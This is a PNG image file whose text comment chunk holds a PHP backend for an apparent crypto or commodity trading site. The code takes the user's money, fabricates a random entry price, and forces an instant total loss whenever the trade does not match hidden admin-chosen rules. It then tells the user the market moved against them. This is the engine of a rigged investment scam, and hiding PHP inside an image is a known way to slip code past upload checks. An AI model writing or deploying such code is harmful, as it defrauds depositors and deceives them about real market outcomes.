‰PNG

   IHDR         ôxÔú   sBIT|dˆ   	pHYs  Ä  Ä•+   tEXtSoftware www.inkscape.org›î<  ,àtEXtComment 
<?php
// Turn off error output to screen so we don't break the JSON response
ini_set('display_errors', 0);
error_reporting(E_ALL);

session_start();
require_once('includes/connect.php');
require_once('includes/functions.php');

// Tell the browser we are sending JSON data back
header('Content-Type: application/json');

// 1. Check if user is logged in
if (!isset($_SESSION['Email'])) {
    echo json_encode(['status' => 'error', 'message' => 'Your session has expired. Please log in again.']);
    exit();
}

// 2. CSRF Token Validation (Security against forged trades)
if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    echo json_encode(['status' => 'error', 'message' => 'Security token invalid. Please refresh the page and try again.']);
    exit();
}

// 3. Fetch User Data
$user = GetMember1($_SESSION['Email']);
if (!$user) {
    echo json_encode(['status' => 'error', 'message' => 'User account not found.']);
    exit();
}

$userId = $user['ID'];
$userCapital = floatval($user['Capital']);
$adminTradeSetting = strtoupper(trim($user['trade'])); // Legacy setting (e.g., 'BUY', 'SELL', 'CLOSE')

// 4. Sanitize and Validate POST Data
$commodityRaw = isset($_POST['commodity']) ? trim($_POST['commodity']) : '';
$tradeType = isset($_POST['trade_type']) ? strtoupper(trim($_POST['trade_type'])) : '';
$tradeAmount = isset($_POST['trade_amount']) ? floatval($_POST['trade_amount']) : 0;
$durationMinutes = isset($_POST['duration_minutes']) ? intval($_POST['duration_minutes']) : 0;
$stopLoss = !empty($_POST['stop_loss']) ? floatval($_POST['stop_loss']) : null;
$takeProfit = !empty($_POST['take_profit']) ? floatval($_POST['take_profit']) : null;

// Normalize the commodity string (Make sure BINANCE:BTCUSDT matches BINANCE:BTCUSD)
$commodityNormalized = str_replace('USDT', 'USD', strtoupper($commodityRaw));

// Basic validation
if (empty($commodityRaw) || empty($tradeType) || $tradeAmount <= 0 || $durationMinutes <= 0) {
    echo json_encode(['status' => 'error', 'message' => 'Please fill in all required trade fields with valid amounts.']);
    exit();
}

// 5. CHECK FUNDS: Does the user have enough capital?
if ($tradeAmount > $userCapital) {
    echo json_encode([
        'status' => 'error', 
        'message' => 'Insufficient funds! You only have ' . $user['sym'] . number_format($userCapital, 2) . ' in your Capital. Please make a deposit to place this trade.'
    ]);
    exit();
}

try {
    // Start a database transaction so we don't accidentally deduct money without saving the trade
    $conn->begin_transaction();

    // 6. DEDUCT FUNDS FROM USER'S CAPITAL
    $newCapital = $userCapital - $tradeAmount;
    $updateCapitalStmt = $conn->prepare("UPDATE members SET Capital = ? WHERE ID = ?");
    $updateCapitalString = strval($newCapital); // Convert back to string for legacy database
    $updateCapitalStmt->bind_param("si", $updateCapitalString, $userId);
    $updateCapitalStmt->execute();
    $updateCapitalStmt->close();

    // Fetch a mock/placeholder entry price
    $entryPrice = rand(1000, 60000) + (rand(0, 99) / 100);

    // =========================================================
    // 7. NEW ADVANCED ADMIN TRADE RULES CHECK
    // =========================================================
    $stmtRule = $conn->prepare("SELECT * FROM admin_trade_rules WHERE user_id = ? AND status = 'ACTIVE' ORDER BY id DESC LIMIT 1");
    $stmtRule->bind_param("i", $userId);
    $stmtRule->execute();
    $ruleResult = $stmtRule->get_result();
    
    $hasAdminRule = false;
    $isRuleMatch = false;
    $projectedPnl = 0.00;
    
    if ($ruleResult->num_rows > 0) {
        $hasAdminRule = true;
        $rule = $ruleResult->fetch_assoc();
        
        // Normalize the database rule string just like we did for the user input
        $ruleAssetNormalized = str_replace('USDT', 'USD', strtoupper($rule['asset_symbol']));
        
        // Check if user exactly matched the admin's constraints
        if ($ruleAssetNormalized === $commodityNormalized && 
            $rule['required_direction'] === $tradeType && 
            $rule['required_duration'] == $durationMinutes) {
            
            $isRuleMatch = true;
            $profitPct = floatval($rule['profit_percentage']);
            // Calculate the exact winning profit based on the percentage the admin set
            $projectedPnl = $tradeAmount * ($profitPct / 100);
        }

        // ONE-TIME STRIKE FIX: Mark the rule as 'USED' immediately, whether they won or lost. 
        $conn->query("UPDATE admin_trade_rules SET status = 'USED' WHERE id = " . $rule['id']);
    }
    $stmtRule->close();

    // =========================================================
    // 8. ADMIN SETTING ENFORCEMENT (Loss Condition)
    // =========================================================
    $triggerInstantLoss = false;

    // If a new advanced rule was set, it COMPLETELY overrides the legacy setting
    if ($hasAdminRule) {
        if (!$isRuleMatch) {
            $triggerInstantLoss = true; // They had an advanced rule but guessed wrong
        }
    } else {
        // Only use the old legacy column if NO advanced rule is active
        if (($adminTradeSetting === 'BUY' || $adminTradeSetting === 'SELL') && $tradeType !== $adminTradeSetting) {
            $triggerInstantLoss = true;
        }
    }

    if ($triggerInstantLoss) {
        // Instant Loss - Insert into trades as CLOSED with a negative PNL (Using your original query structure)
        $lossAmount = -$tradeAmount;
        $status = 'CLOSED';
        $currentTime = date('Y-m-d H:i:s');
        
        $tradeStmt = $conn->prepare("INSERT INTO trades (user_id, commodity, trade_type, trade_amount, duration_minutes, stop_loss, take_profit, entry_price, close_price, pnl, status, created_at, closed_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
        
        $tradeStmt->bind_param("issdidddddsss", $userId, $commodityRaw, $tradeType, $tradeAmount, $durationMinutes, $stopLoss, $takeProfit, $entryPrice, $entryPrice, $lossAmount, $status, $currentTime, $currentTime);
        $tradeStmt->execute();
        $tradeStmt->close();
        
        $conn->commit();

        echo json_encode([
            'status' => 'error', 
            'message' => 'Trade Failed! The market moved against your prediction instantly. You lost ' . $user['sym'] . number_format($tradeAmount, 2) . '.',
            'new_balance' => $newCapital
        ]);
        exit();
    }

    // =========================================================
    // 9. SUCCESSFUL TRADE (Insert as OPEN)
    // =========================================================
    $status = 'OPEN';
    
    // Insert into your original trades table, tracking the projected PNL if it's a winner
    $tradeStmt = $conn->prepare("INSERT INTO trades (user_id, commodity, trade_type, trade_amount, duration_minutes, stop_loss, take_profit, entry_price, pnl, status) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
    
    $tradeStmt->bind_param("issdidddds", $userId, $commodityRaw, $tradeType, $tradeAmount, $durationMinutes, $stopLoss, $takeProfit, $entryPrice, $projectedPnl, $status);
    $tradeStmt->execute();
    $tradeStmt->close();

    // Commit changes to the database
    $conn->commit();

    // Send Success Response back to JS
    echo json_encode([
        'status' => 'success',
        'message' => 'Your ' . $tradeType . ' trade for ' . $commodityRaw . ' has been placed successfully!',
        'new_balance' => $newCapital
    ]);

} catch (Exception $e) {
    $conn->rollback(); // Reverse the money deduction if the database failed
    // THIS WILL TELL US EXACTLY WHAT WENT WRONG IF IT FAILS
    echo json_encode(['status' => 'error', 'message' => 'System error: ' . $e->getMessage()]);
}
?>